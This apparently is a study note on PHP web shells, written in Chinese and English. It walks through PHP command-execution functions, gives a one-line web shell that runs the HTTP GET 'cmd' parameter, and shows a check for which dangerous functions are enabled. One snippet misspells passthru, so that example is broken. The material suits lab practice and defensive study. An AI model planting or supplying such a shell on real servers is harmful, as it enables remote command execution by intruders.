0%

Web Shells 101 Using PHP

之前只是用过蚁剑,和做Portswigger Labs[[File upload vulnerabilities]],写的Php获取文件内容的WebShell

The following are some of the most common functions used to execute shell commands in PHP.

system()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// Return the listing of the directory where the file runs (Windows)
system("dir");
?>

<?php
// Return the listing of the directory where the file runs (Linux)
system("ls -la");
?>

<?php
// Return the user the script is running under
system("whoami");
?>
exec()

system()的不同就在于exec()并不会输出结果。但是,如果有第二个指定的可选参数,会返回一个包含结果的数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
// Executes but returns nothing
exec("ls -la");
?>

<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>

--> -rw-rw-r-- 1 secuser secuser 29 Feb 27 20:49 shell.php

<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Feb 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Feb 27 20:54 shell.php )
shell_exec()

exec()相似,不过会把整个结果作为字符串输出。

1
2
3
4
<?php
// Executes, returns the entire output as a string
echo shell_exec("ls -la");
?>
passthru()

执行命令,返回结果 “ in raw format “

1
2
3
4
5
6
7
8
9
10
<?php
// Executes, returns output in raw format
passsthru("ls -la");
?>

-->
total 12
drwxrwxr-x 2 secuser secuser 4096 Feb 28 18:23 .
drwxr-xr-x 6 secuser secuser 4096 Feb 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 29 Feb 28 18:23 shell.php
proc_open()

比较复杂PHP docs,可以建立用于通信的handler

Backticks

很多PHP开发者没注意到这个,但是PHP确实会执行backticks中的内容。

1
2
3
4
5
6
<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>

--> www-data
1
<?php system($_GET['cmd']);?>

这个WebShell使用system()来执行HTTP GET请求中的cmd参数。网站给了张图片,更方便理解,注意URL。

以下code可以用来确定上述功能是否被启用:

1
2
3
<?php
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));
?>